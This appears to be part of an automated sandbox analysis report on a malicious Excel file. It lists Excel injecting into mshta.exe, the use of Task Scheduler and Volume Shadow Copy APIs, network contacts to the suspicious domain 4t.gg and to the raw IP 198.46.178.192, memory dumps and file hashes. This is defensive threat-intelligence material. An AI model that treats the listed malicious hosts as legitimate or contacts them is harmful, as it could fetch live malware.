| PID 4540 wrote to memory of 4336 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 4540 wrote to memory of 4336 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4dc101b0b6fe54eb411577729f39253ad9a33cad9f0eca212ea4f3d786881ba4.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 4t.gg | udp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | r10.o.lencr.org | udp |
| GB | 2.23.210.75:80 | r10.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.204.146.221.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.169.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.210.23.2.in-addr.arpa | udp |
| US | 198.46.178.192:80 | 198.46.178.192 | tcp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.178.46.198.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
Files
memory/4540-2-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp
memory/4540-3-0x00007FFCED6ED000-0x00007FFCED6EE000-memory.dmp
memory/4540-4-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp
memory/4540-8-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-7-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-6-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-5-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp
memory/4540-1-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp
memory/4540-0-0x00007FFCAD6D0000-0x00007FFCAD6E0000-memory.dmp
memory/4540-9-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-13-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-14-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-12-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-11-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-10-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-15-0x00007FFCAB180000-0x00007FFCAB190000-memory.dmp
memory/4540-16-0x00007FFCAB180000-0x00007FFCAB190000-memory.dmp
memory/4336-34-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4336-39-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4540-41-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4336-45-0x00007FFCED650000-0x00007FFCED845000-memory.dmp
memory/4336-46-0x00007FF7591A0000-0x00007FF7591A8000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 6e718036cf14ba93c97397e55f4b36df |
| SHA1 | 678980f6fc680782b3add2b9d3ed8308392a4863 |
| SHA256 | e29eace8f18e70b626430a2fd436b9c22d919142ca6fa4e2e91c79e9ad050f90 |
| SHA512 | 577bca2f9b6379de2541bfe84f980392a6e2d664c47c0b08c864897bfc10b1e18b2eb98241469189d48d9ef8f6748a1be538a538f7861fc62b6d70ecad174da1 |